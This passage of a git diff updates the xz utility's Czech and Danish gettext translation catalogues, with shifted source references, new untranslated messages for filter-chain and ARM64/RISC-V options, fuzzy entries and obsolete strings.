defaults" msgid "" " --memlimit-compress=LIMIT\n" " --memlimit-decompress=LIMIT\n" +" --memlimit-mt-decompress=LIMIT\n" " -M, --memlimit=LIMIT\n" " set memory usage limit for compression, decompression,\n" -" or both; LIMIT is in bytes, % of RAM, or 0 for defaults" +" threaded decompression, or all of these; LIMIT is in\n" +" bytes, % of RAM, or 0 for defaults" msgstr "" " --memlimit-compress=LIMIT\n" " --memlimit-decompress=LIMIT\n" @@ -702,7 +863,7 @@ msgstr "" " dekomprimaci nebo obojí; LIMIT je v bajtech, % z paměti\n" " RAM nebo 0 pro výchozí" -#: src/xz/message.c:1179 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -710,7 +871,7 @@ msgstr "" " --no-adjust pokud nastavení komprimace přesáhne omezení použitelné\n" " paměti, předat chybu namísto snížení nastavení" -#: src/xz/message.c:1185 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -718,7 +879,27 @@ msgstr "" "\n" "Vlastní omezující filtr pro komprimaci (alternativa k použití přednastavených):" -#: src/xz/message.c:1194 +#: src/xz/message.c:1044 +msgid "" +"\n" +" --filters=FILTERS set the filter chain using the liblzma filter string\n" +" syntax; use --filters-help for more information" +msgstr "" + +#: src/xz/message.c:1050 +msgid "" +" --filters1=FILTERS ... --filters9=FILTERS\n" +" set additional filter chains using the liblzma filter\n" +" string syntax to use with --block-list" +msgstr "" + +#: src/xz/message.c:1056 +msgid "" +" --filters-help display more information about the liblzma filter string\n" +" syntax and exit." +msgstr "" + +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -747,15 +928,28 @@ msgstr "" " depth=POČ maximální hloubka prohledávání;\n" " 0 = automaticky (výchozí)" -#: src/xz/message.c:1209 +#: src/xz/message.c:1082 +#, fuzzy +#| msgid "" +#| "\n" +#| " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" +#| " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" +#| " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" +#| " --arm[=OPTS] ARM BCJ filter (little endian only)\n" +#| " --armthumb[=OPTS] ARM-Thumb BCJ filter (little endian only)\n" +#| " --sparc[=OPTS] SPARC BCJ filter\n" +#| " Valid OPTS for all BCJ filters:\n" +#| " start=NUM start offset for conversions (default=0)" msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" +" --arm[=OPTS] ARM BCJ filter\n" +" --armthumb[=OPTS] ARM-Thumb BCJ filter\n" +" --arm64[=OPTS] ARM64 BCJ filter\n" " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" -" --arm[=OPTS] ARM BCJ filter (little endian only)\n" -" --armthumb[=OPTS] ARM-Thumb BCJ filter (little endian only)\n" " --sparc[=OPTS] SPARC BCJ filter\n" +" --riscv[=OPTS] RISC-V BCJ filter\n" " Valid OPTS for all BCJ filters:\n" " start=NUM start offset for conversions (default=0)" msgstr "" @@ -769,7 +963,7 @@ msgstr "" " Platné volby pro všechny filtry BCJ:\n" " start=POČ počáteční posun pro převody (výchozí=0)" -#: src/xz/message.c:1221 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -781,7 +975,7 @@ msgstr "" " dist=POČ vzdálenost mezi bajty, které jsou odečítány\n" " jeden od druhého (1 – 256; 1)" -#: src/xz/message.c:1229 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -789,7 +983,7 @@ msgstr "" "\n" " Ostatní přepínače:\n" -#: src/xz/message.c:1232 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -798,17 +992,17 @@ msgstr "" " -v, --verbose podrobnější zprávy; zadáním dvakrát, budou ještě\n" " podrobnější" -#: src/xz/message.c:1237 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn způsobí, že varování neovlivní stav ukončení" -#: src/xz/message.c:1239 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr "" " --robot použít strojově analyzovatelné zprávy (užitečné pro\n" " skripty)" -#: src/xz/message.c:1242 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -816,7 +1010,7 @@ msgstr "" " --info-memory zobrazit celkové množství paměti RAM a současné aktivní\n" " omezení použitelné paměti a skončit" -#: src/xz/message.c:1245 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -824,7 +1018,7 @@ msgstr "" " -h, --help zobrazit krátkou nápovědu (vypíše jen základní přepínače)\n" " -H, --long-help zobrazit tuto úplnou nápovědu a skončit" -#: src/xz/message.c:1249 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -832,11 +1026,12 @@ msgstr "" " -h, --help zobrazit tuto zkrácenou nápovědu a skončit\n" " -H, --long-help zobrazit úplnou nápovědu (vypíše i pokročilé přepínače)" -#: src/xz/message.c:1254 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version zobrazit číslo verze a skončit" -#: src/xz/message.c:1256 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 +#, c-format msgid "" "\n" "With no FILE, or when FILE is -, read standard input.\n" @@ -848,31 +1043,46 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1262 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "Chyby hlaste na <%s> (v angličtině nebo finštině).\n" -#: src/xz/message.c:1264 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "Domovská stránka %s: <%s>\n" -#: src/xz/message.c:1268 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "" -#: src/xz/options.c:86 -#, c-format -msgid "%s: Options must be `name=value' pairs separated with commas" +#: src/xz/message.c:1160 +msgid "" +"Filter chains are set using the --filters=FILTERS or\n" +"--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" +"can be separated by spaces or '--'. Alternatively a preset <0-9>[e] can be\n" +"specified instead of a filter chain.\n" +msgstr "" + +#: src/xz/message.c:1166 +#, fuzzy +#| msgid "Unsupported filter chain or filter options" +msgid "The supported filters and their options are:" +msgstr "Nepodporovaný omezující filtr nebo volby filtru" + +#: src/xz/options.c:85 +#, fuzzy, c-format +#| msgid "%s: Options must be `name=value' pairs separated with commas" +msgid "%s: Options must be 'name=value' pairs separated with commas" msgstr "%s: Volby musí být páry „název=hodnota“ oddělené čárkami" -#: src/xz/options.c:93 +#: src/xz/options.c:92 #, c-format msgid "%s: Invalid option name" msgstr "%s: Neplatný název volby" -#: src/xz/options.c:113 +#: src/xz/options.c:112 #, c-format msgid "%s: Invalid option value" msgstr "%s: Neplatná hodnota volby" @@ -886,24 +1096,15 @@ msgstr "Nepodporované přednastavení LZMA1/LZMA2: %s" msgid "The sum of lc and lp must not exceed 4" msgstr "Součet lc a lp nesmí překročit hodnotu 4" -#: src/xz/options.c:359 -#, c-format -msgid "The selected match finder requires at least nice=%" -msgstr "Vybraný vyhledávač shod vyžaduje minimálně nice=%" - -#: src/xz/suffix.c:133 src/xz/suffix.c:258 -#, c-format -msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" -msgstr "%s: S přepínačem --format=raw je vyžadován --sufix=.PRIP, vyjma zápisu do standardního výstupu" - -#: src/xz/suffix.c:164 +#: src/xz/suffix.c:165 #, c-format msgid "%s: Filename has an unknown suffix, skipping" msgstr "%s: Název souboru má neznámou příponu, vynechává se" -#: src/xz/suffix.c:185 -#, c-format -msgid "%s: File already has `%s' suffix, skipping" +#: src/xz/suffix.c:186 +#, fuzzy, c-format +#| msgid "%s: File already has `%s' suffix, skipping" +msgid "%s: File already has '%s' suffix, skipping" msgstr "%s: Soubor již má příponu „%s“, vynechává se" #: src/xz/suffix.c:393 @@ -911,45 +1112,103 @@ msgstr "%s: Soubor již má příponu „%s“, vynechává se" msgid "%s: Invalid filename suffix" msgstr "%s: Neplatná přípona názvu souboru" -#: src/xz/util.c:71 +#: src/xz/util.c:106 #, c-format msgid "%s: Value is not a non-negative decimal integer" msgstr "%s: Hodnota není nezáporné desítkové číslo" -#: src/xz/util.c:113 +#: src/xz/util.c:148 #, c-format msgid "%s: Invalid multiplier suffix" msgstr "%s: Neplatná jednotka s předponou" -#: src/xz/util.c:115 -msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +#: src/xz/util.c:150 +#, fuzzy +#| msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +msgid "Valid suffixes are 'KiB' (2^10), 'MiB' (2^20), and 'GiB' (2^30)." msgstr "Platné jednotky s předponami jsou „KiB“ (2^10 B), „MiB“ (2^20 B) a „GiB“ (2^30 B)." -#: src/xz/util.c:132 -#, c-format -msgid "Value of the option `%s' must be in the range [%, %]" +#: src/xz/util.c:167 +#, fuzzy, c-format +#| msgid "Value of the option `%s' must be in the range [%, %]" +msgid "Value of the option '%s' must be in the range [%, %]" msgstr "Hodnota volby „%s“ musí být v rozsahu [%, %]" -#: src/xz/util.c:267 -msgid "Empty filename, skipping" -msgstr "Prázdný název souboru, vynechává se" - -#: src/xz/util.c:281 +#: src/xz/util.c:290 msgid "Compressed data cannot be read from a terminal" msgstr "Z terminálu nelze číst komprimovaná data" -#: src/xz/util.c:294 +#: src/xz/util.c:303 msgid "Compressed data cannot be written to a terminal" msgstr "Do terminálu nelze zapisovat komprimovaná data" -#: src/common/tuklib_exit.c:40 +#: src/lzmainfo/lzmainfo.c:33 +#, c-format +msgid "" +"Usage: %s [--help] [--version] [FILE]...\n" +"Show information stored in the .lzma file header" +msgstr "" + +#: src/lzmainfo/lzmainfo.c:109 +#, fuzzy +#| msgid "%s: Too small to be a valid .xz file" +msgid "File is too small to be a .lzma file" +msgstr "%s: Je příliš malý na to, aby to mohl být platný soubor .xz" + +#: src/lzmainfo/lzmainfo.c:122 +msgid "Not a .lzma file" +msgstr "" + +#: src/common/tuklib_exit.c:39 msgid "Writing to standard output failed" msgstr "Zápis do standardního výstupu selhal" -#: src/common/tuklib_exit.c:43 +#: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "Neznámá chyba" +#~ msgid "Memory usage limit for compression: " +#~ msgstr "Omezení použitelné paměti pro komprimaci: " + +#, c-format +#~ msgid " Streams: %s\n" +#~ msgstr " Proudů: %s\n" + +#, c-format +#~ msgid " Blocks: %s\n" +#~ msgstr " Bloků: %s\n" + +#, c-format +#~ msgid " Ratio: %s\n" +#~ msgstr " Poměr komprimace: %s\n" + +#, c-format +#~ msgid " Check: %s\n" +#~ msgstr " Typ kontroly: %s\n" + +#~ msgid "" +#~ " Streams:\n" +#~ " Stream Blocks CompOffset UncompOffset CompSize UncompSize Ratio Check Padding" +#~ msgstr "" +#~ " Proudy:\n" +#~ " Proud Bloky KomprPozice NekomprPozice KomprVelikost NekomprVelikost Poměr Kontrola Zarovnání" + +#, c-format +#~ msgid "" +#~ " Blocks:\n" +#~ " Stream Block CompOffset UncompOffset TotalSize UncompSize Ratio Check" +#~ msgstr "" +#~ " Bloky:\n" +#~ " Proud Blok KomprPozice NekomprPozice CelkVelikost NekomprVelikost Poměr Kontrola" + +#, c-format +#~ msgid " CheckVal %*s Header Flags CompSize MemUsage Filters" +#~ msgstr " KontrHod %*s Hlavič Příznaky KomprVel PoužiPam Filtry" + +#, c-format +#~ msgid "The selected match finder requires at least nice=%" +#~ msgstr "Vybraný vyhledávač shod vyžaduje minimálně nice=%" + #~ msgid "Limit was %s MiB, but %s MiB would have been needed" #~ msgstr "Limit byl %s MiB, ale bylo by zapotřebí %s MiB" diff --git a/po/da.gmo b/po/da.gmo new file mode 100644 index 00000000..3347988e Binary files /dev/null and b/po/da.gmo differ diff --git a/po/da.po b/po/da.po index 650e36c3..dcf34df8 100644 --- a/po/da.po +++ b/po/da.po @@ -5,133 +5,197 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.2.4\n" -"Report-Msgid-Bugs-To: lasse.collin@tukaani.org\n" -"POT-Creation-Date: 2018-04-29 18:19+0300\n" +"Report-Msgid-Bugs-To: xz@tukaani.org\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2019-03-04 23:08+0100\n" "Last-Translator: Joe Hansen \n" "Language-Team: Danish \n" "Language: da\n" -"X-Bugs: Report translation errors to the Language-Team address.\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" +"X-Bugs: Report translation errors to the Language-Team address.\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" -#: src/xz/args.c:63 +#: src/xz/args.c:77 #, c-format msgid "%s: Invalid argument to --block-list" msgstr "%s: Ugyldigt parameter til --block-list" -#: src/xz/args.c:73 +#: src/xz/args.c:87 #, c-format msgid "%s: Too many arguments to --block-list" msgstr "%s: For mange argumenter til --block-list" -#: src/xz/args.c:102 +#: src/xz/args.c:124 +#, c-format +msgid "In --block-list, block size is missing after filter chain number '%c:'" +msgstr "" + +#: src/xz/args.c:150 msgid "0 can only be used as the last element in --block-list" msgstr "0 kan kun bruges som det sidste element i --block-list" -#: src/xz/args.c:406 +#: src/xz/args.c:539 #, c-format msgid "%s: Unknown file format type" msgstr "%s: Ukendt filformattype" -#: src/xz/args.c:429 src/xz/args.c:437 +#: src/xz/args.c:562 src/xz/args.c:570 #, c-format msgid "%s: Unsupported integrity check type" msgstr "%s: Typen for integritetkontrol er ikke understøttet" -#: src/xz/args.c:473 -msgid "Only one file can be specified with `--files' or `--files0'." +#: src/xz/args.c:606 +#, fuzzy +#| msgid "Only one file can be specified with `--files' or `--files0'." +msgid "Only one file can be specified with '--files' or '--files0'." msgstr "Kun en fil kan angives med »--files« eller »--files0«." -#: src/xz/args.c:541 +#. TRANSLATORS: This is a translatable +#. string because French needs a space +#. before the colon ("%s : %s"). +#: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 +#: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 +#: src/xz/list.c:599 +#, fuzzy, c-format +#| msgid "%s: " +msgid "%s: %s" +msgstr "%s: " + +#: src/xz/args.c:677 #, c-format msgid "The environment variable %s contains too many arguments" msgstr "Miljøvariablen %s indeholder for mange argumenter" -#: src/xz/args.c:643 +#: src/xz/args.c:779 msgid "Compression support was disabled at build time" msgstr "Komprimeringsunderstøttelse blev deaktiveret på byggetidspunktet" -#: src/xz/args.c:650 +#: src/xz/args.c:786 msgid "Decompression support was disabled at build time" msgstr "Dekomprimeringsunderstøttelse blev deaktiveret på byggetidspunktet" -#: src/xz/coder.c:110 +#: src/xz/args.c:792 +msgid "Compression of lzip files (.lz) is not supported" +msgstr "" + +#: src/xz/args.c:814 +msgid "--block-list is ignored unless compressing to the .xz format" +msgstr "" + +#: src/xz/args.c:827 src/xz/args.c:836 +#, fuzzy +#| msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgid "With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgstr "%s: med --format=raw, --suffix=.SUF er krævet med mindre der skrives til standardud" + +#: src/xz/coder.c:140 msgid "Maximum number of filters is four" msgstr "Maksimalt antal filtre er fire" -#: src/xz/coder.c:129 +#: src/xz/coder.c:178 +#, c-format +msgid "Error in --filters%s=FILTERS option:" +msgstr "" + +#: src/xz/coder.c:228 msgid "Memory usage limit is too low for the given filter setup." msgstr "Begræsningen for brug af hukommelse er for lav for den givne filteropsætning." -#: src/xz/coder.c:159 +#: src/xz/coder.c:243 +#, c-format +msgid "filter chain %u used by --block-list but not specified with --filters%u=" +msgstr "" + +#: src/xz/coder.c:374 msgid "Using a preset in raw mode is discouraged." msgstr "Det frarådes at bruge en forhåndskonfiguration i rå tilstand (raw mode)." -#: src/xz/coder.c:161 +#: src/xz/coder.c:376 msgid "The exact options of the presets may vary between software versions." msgstr "De præcise indstillinger for forhåndskonfigurationerne kan variere mellem programversioner." -#: src/xz/coder.c:184 +#: src/xz/coder.c:402 msgid "The .lzma format supports only the LZMA1 filter" msgstr "Formatet .lzma understøtter kun LZMA1-filteret" -#: src/xz/coder.c:192 +#: src/xz/coder.c:410 msgid "LZMA1 cannot be used with the .xz format" msgstr "LZMA1 kan ikke bruges med .xz-formatet" -#: src/xz/coder.c:209 -msgid "The filter chain is incompatible with --flush-timeout" +#: src/xz/coder.c:434 +#, fuzzy, c-format +#| msgid "The filter chain is incompatible with --flush-timeout" +msgid "Filter chain %u is incompatible with --flush-timeout" msgstr "Filterkæden er ikke kompatibel med --flush-timeout" -#: src/xz/coder.c:215 +#: src/xz/coder.c:443 msgid "Switching to single-threaded mode due to --flush-timeout" msgstr "Skifter til enkelt trådet tilstand på grund af --flush-timeout" -#: src/xz/coder.c:235 +#: src/xz/coder.c:484 +#, fuzzy, c-format +#| msgid "Unsupported options" +msgid "Unsupported options in filter chain %u" +msgstr "Tilvalg er ikke understøttede" + +#: src/xz/coder.c:515 #, c-format msgid "Using up to % threads." msgstr "Bruger op til % tråde." -#: src/xz/coder.c:251 +#: src/xz/coder.c:531 msgid "Unsupported filter chain or filter options" msgstr "Filterkæde eller filterindstillinger er ikke understøttet" -#: src/xz/coder.c:263 +#: src/xz/coder.c:552 #, c-format msgid "Decompression will need %s MiB of memory." msgstr "Dekomprimering vil kræve %s MiB hukommelse." -#: src/xz/coder.c:300 +#: src/xz/coder.c:584 +#, fuzzy, c-format +#| msgid "Adjusted the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgid "Reduced the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgstr "Justerede antallet af tråde fra %s til %s for ikke at overskride begræsningen på brug af hukommelse på %s MiB" + +#: src/xz/coder.c:604 #, c-format -msgid "Adjusted the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgid "Reduced the number of threads from %s to one. The automatic memory usage limit of %s MiB is still being exceeded. %s MiB of memory is required. Continuing anyway." +msgstr "" + +#: src/xz/coder.c:631 +#, fuzzy, c-format +#| msgid "Adjusted the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgid "Switching to single-threaded mode to not exceed the memory usage limit of %s MiB" msgstr "Justerede antallet af tråde fra %s til %s for ikke at overskride begræsningen på brug af hukommelse på %s MiB" -#: src/xz/coder.c:354 +#: src/xz/coder.c:756 #, c-format msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" msgstr "Justerede LZMA%c-ordbogsstørrelsen fra %s MiB til %s MiB for ikke at overskride begrænsningen på brug af hukommelse på %s MiB" -#: src/xz/file_io.c:110 src/xz/file_io.c:118 +#: src/xz/coder.c:766 +#, fuzzy, c-format +#| msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgid "Adjusted LZMA%c dictionary size for --filters%u from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgstr "Justerede LZMA%c-ordbogsstørrelsen fra %s MiB til %s MiB for ikke at overskride begrænsningen på brug af hukommelse på %s MiB" + +#: src/xz/coder.c:1140 +#, fuzzy, c-format +#| msgid "Error creating a pipe: %s" +msgid "Error changing to filter chain %u: %s" +msgstr "Det opstod en fejl under oprettelse af en datakanal: %s" + +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Det opstod en fejl under oprettelse af en datakanal: %s" -#: src/xz/file_io.c:173 -msgid "Sandbox is disabled due to incompatible command line arguments" -msgstr "Sandkassen er deaktiveret på grund af inkompatible kommandolinjeargumenter" - -#: src/xz/file_io.c:216 -msgid "Sandbox was successfully enabled" -msgstr "Sandkassen blev aktiveret" - -#: src/xz/file_io.c:220 -msgid "Failed to enable the sandbox" -msgstr "Kunne ikke aktivere sandkassen" - -#: src/xz/file_io.c:262 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: poll() mislykkedes: %s" @@ -146,195 +210,341 @@ msgstr "%s: poll() mislykkedes: %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:332 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: Filen er vist blevet flyttet, sletter ikke" -#: src/xz/file_io.c:339 src/xz/file_io.c:878 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: Kan ikke fjerne: %s" -#: src/xz/file_io.c:364 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: Kan ikke angive filejeren: %s" -#: src/xz/file_io.c:370 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: Kan ikke angive filgruppen: %s" -#: src/xz/file_io.c:389 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: Kan ikke angive filtilladelser: %s" -#: src/xz/file_io.c:515 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Der opstod en fejl under indhentelse af filstatusflag fra standardind: %s" -#: src/xz/file_io.c:572 src/xz/file_io.c:634 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: Er en symbolsk henvisning, udelader" -#: src/xz/file_io.c:663 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: Er en mappe, udelader" -#: src/xz/file_io.c:669 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: Er ikke en normal fil, udelader" -#: src/xz/file_io.c:686 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: Filen har setuid- eller setgid-bitsæt, udelader" -#: src/xz/file_io.c:693 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: Fil har klæbende bitsæt, udelader" -#: src/xz/file_io.c:700 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: Inddatafil har mere end en hård henvisning, udelader" -#: src/xz/file_io.c:788 +#: src/xz/file_io.c:693 +msgid "Empty filename, skipping" +msgstr "Tomt filnavn, udelader" + +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Der opstod en fejl under gendannelse af statusflagene til standardind: %s" -#: src/xz/file_io.c:836 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Der opstod en fejl under indhentelse af filstatusflag fra standardud: %s" -#: src/xz/file_io.c:1014 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Der opstod en fejl under gendannelse af flaget O_APPEND til standardud: %s" -#: src/xz/file_io.c:1026 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: Lukning af filen fejlede: %s" -#: src/xz/file_io.c:1062 src/xz/file_io.c:1288 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: Søgning fejlede under forsøg på at oprette en tynd fil: %s" -#: src/xz/file_io.c:1157 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: Læsefejl: %s" -#: src/xz/file_io.c:1177 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: Der opstod en fejl under søgning efter filen: %s" -#: src/xz/file_io.c:1187 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: Uventet filafslutning" -#: src/xz/file_io.c:1246 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: Skrivefejl: %s" -#: src/xz/hardware.c:107 +#: src/xz/hardware.c:237 msgid "Disabled" msgstr "Deaktiveret" -#. TRANSLATORS: Test with "xz --info-memory" to see if -#. the alignment looks nice. -#: src/xz/hardware.c:126 -msgid "Total amount of physical memory (RAM): " +#: src/xz/hardware.c:268 +#, fuzzy +#| msgid "Total amount of physical memory (RAM): " +msgid "Amount of physical memory (RAM):" msgstr "Samlet mængde fysisk hukommelse (RAM): " -#: src/xz/hardware.c:128 -msgid "Memory usage limit for compression: " -msgstr "Grænse for hukommelsesforbrug til komprimering: " +#: src/xz/hardware.c:269 +msgid "Number of processor threads:" +msgstr "" -#: src/xz/hardware.c:130 -msgid "Memory usage limit for decompression: " +#: src/xz/hardware.c:270 +msgid "Compression:" +msgstr "" + +#: src/xz/hardware.c:271 +msgid "Decompression:" +msgstr "" + +#: src/xz/hardware.c:272 +#, fuzzy +#| msgid "Memory usage limit for decompression: " +msgid "Multi-threaded decompression:" msgstr "Grænse for hukommelsesforbug til dekomprimering: " +#: src/xz/hardware.c:273 +msgid "Default for -T0:" +msgstr "" + +#: src/xz/hardware.c:291 +msgid "Hardware information:" +msgstr "" + +#: src/xz/hardware.c:298 +#, fuzzy +#| msgid "Memory usage limit reached" +msgid "Memory usage limits:" +msgstr "Begrænsning på brug af hukommelse er nået" + +#: src/xz/list.c:67 +msgid "Streams:" +msgstr "" + +#: src/xz/list.c:68 +msgid "Blocks:" +msgstr "" + +#: src/xz/list.c:69 +#, fuzzy +#| msgid " Compressed size: %s\n" +msgid "Compressed size:" +msgstr " Komprimeret str.: %s\n" + +#: src/xz/list.c:70 +#, fuzzy +#| msgid " Uncompressed size: %s\n" +msgid "Uncompressed size:" +msgstr " Ukomprimeret str.: %s\n" + +#: src/xz/list.c:71 +msgid "Ratio:" +msgstr "" + +#: src/xz/list.c:72 +msgid "Check:" +msgstr "" + +#: src/xz/list.c:73 +#, fuzzy +#| msgid " Stream padding: %s\n" +msgid "Stream Padding:" +msgstr " Strømfyld: %s\n" + +#: src/xz/list.c:74 +#, fuzzy +#| msgid " Memory needed: %s MiB\n" +msgid "Memory needed:" +msgstr " Hukommelse krævet: %s MiB\n" + +#: src/xz/list.c:75 +#, fuzzy +#| msgid " Sizes in headers: %s\n" +msgid "Sizes in headers:" +msgstr " Størrelser i teksthoveder: %s\n" + +#: src/xz/list.c:78 +#, fuzzy +#| msgid " Number of files: %s\n" +msgid "Number of files:" +msgstr " Antal filer: %s\n" + +#: src/xz/list.c:121 +msgid "Stream" +msgstr "" + +#: src/xz/list.c:122 +msgid "Block" +msgstr "" + +#: src/xz/list.c:123 +msgid "Blocks" +msgstr "" + +#: src/xz/list.c:124 +msgid "CompOffset" +msgstr "" + +#: src/xz/list.c:125 +msgid "UncompOffset" +msgstr "" + +#: src/xz/list.c:126 +msgid "CompSize" +msgstr "" + +#: src/xz/list.c:127 +msgid "UncompSize" +msgstr "" + +#: src/xz/list.c:128 +#, fuzzy +#| msgid "Totals:" +msgid "TotalSize" +msgstr "I alt:" + +#: src/xz/list.c:129 +msgid "Ratio" +msgstr "" + +#: src/xz/list.c:130 +msgid "Check" +msgstr "" + +#: src/xz/list.c:131 +msgid "CheckVal" +msgstr "" + +#: src/xz/list.c:132 +msgid "Padding" +msgstr "" + +#: src/xz/list.c:133 +msgid "Header" +msgstr "" + +#: src/xz/list.c:134 +msgid "Flags" +msgstr "" + +#: src/xz/list.c:135 +msgid "MemUsage" +msgstr "" + +#: src/xz/list.c:136 +msgid "Filters" +msgstr "" + #. TRANSLATORS: Indicates that there is no integrity check. -#. This string is used in tables, so the width must not -#. exceed ten columns with a fixed-width font. -#: src/xz/list.c:65 +#. This string is used in tables. In older xz version this +#. string was limited to ten columns in a fixed-width font, but +#. nowadays there is no strict length restriction anymore. +#: src/xz/list.c:168 msgid "None" msgstr "Ingen" #. TRANSLATORS: Indicates that integrity check name is not known, -#. but the Check ID is known (here 2). This and other "Unknown-N" -#. strings are used in tables, so the width must not exceed ten -#. columns with a fixed-width font. It's OK to omit the dash if -#. you need space for one extra letter, but don't use spaces. -#: src/xz/list.c:72 +#. but the Check ID is known (here 2). In older xz version these +#. strings were limited to ten columns in a fixed-width font, but +#. nowadays there is no strict length restriction anymore. +#: src/xz/list.c:174 msgid "Unknown-2" msgstr "Ukendt-2" -#: src/xz/list.c:73 +#: src/xz/list.c:175 msgid "Unknown-3" msgstr "Ukendt-3" -#: src/xz/list.c:75 +#: src/xz/list.c:177 msgid "Unknown-5" msgstr "Ukendt-5" -#: src/xz/list.c:76 +#: src/xz/list.c:178 msgid "Unknown-6" msgstr "Ukendt-6" -#: src/xz/list.c:77 +#: src/xz/list.c:179 msgid "Unknown-7" msgstr "Ukendt-7" -#: src/xz/list.c:78 +#: src/xz/list.c:180 msgid "Unknown-8" msgstr "Ukendt-8" -#: src/xz/list.c:79 +#: src/xz/list.c:181 msgid "Unknown-9" msgstr 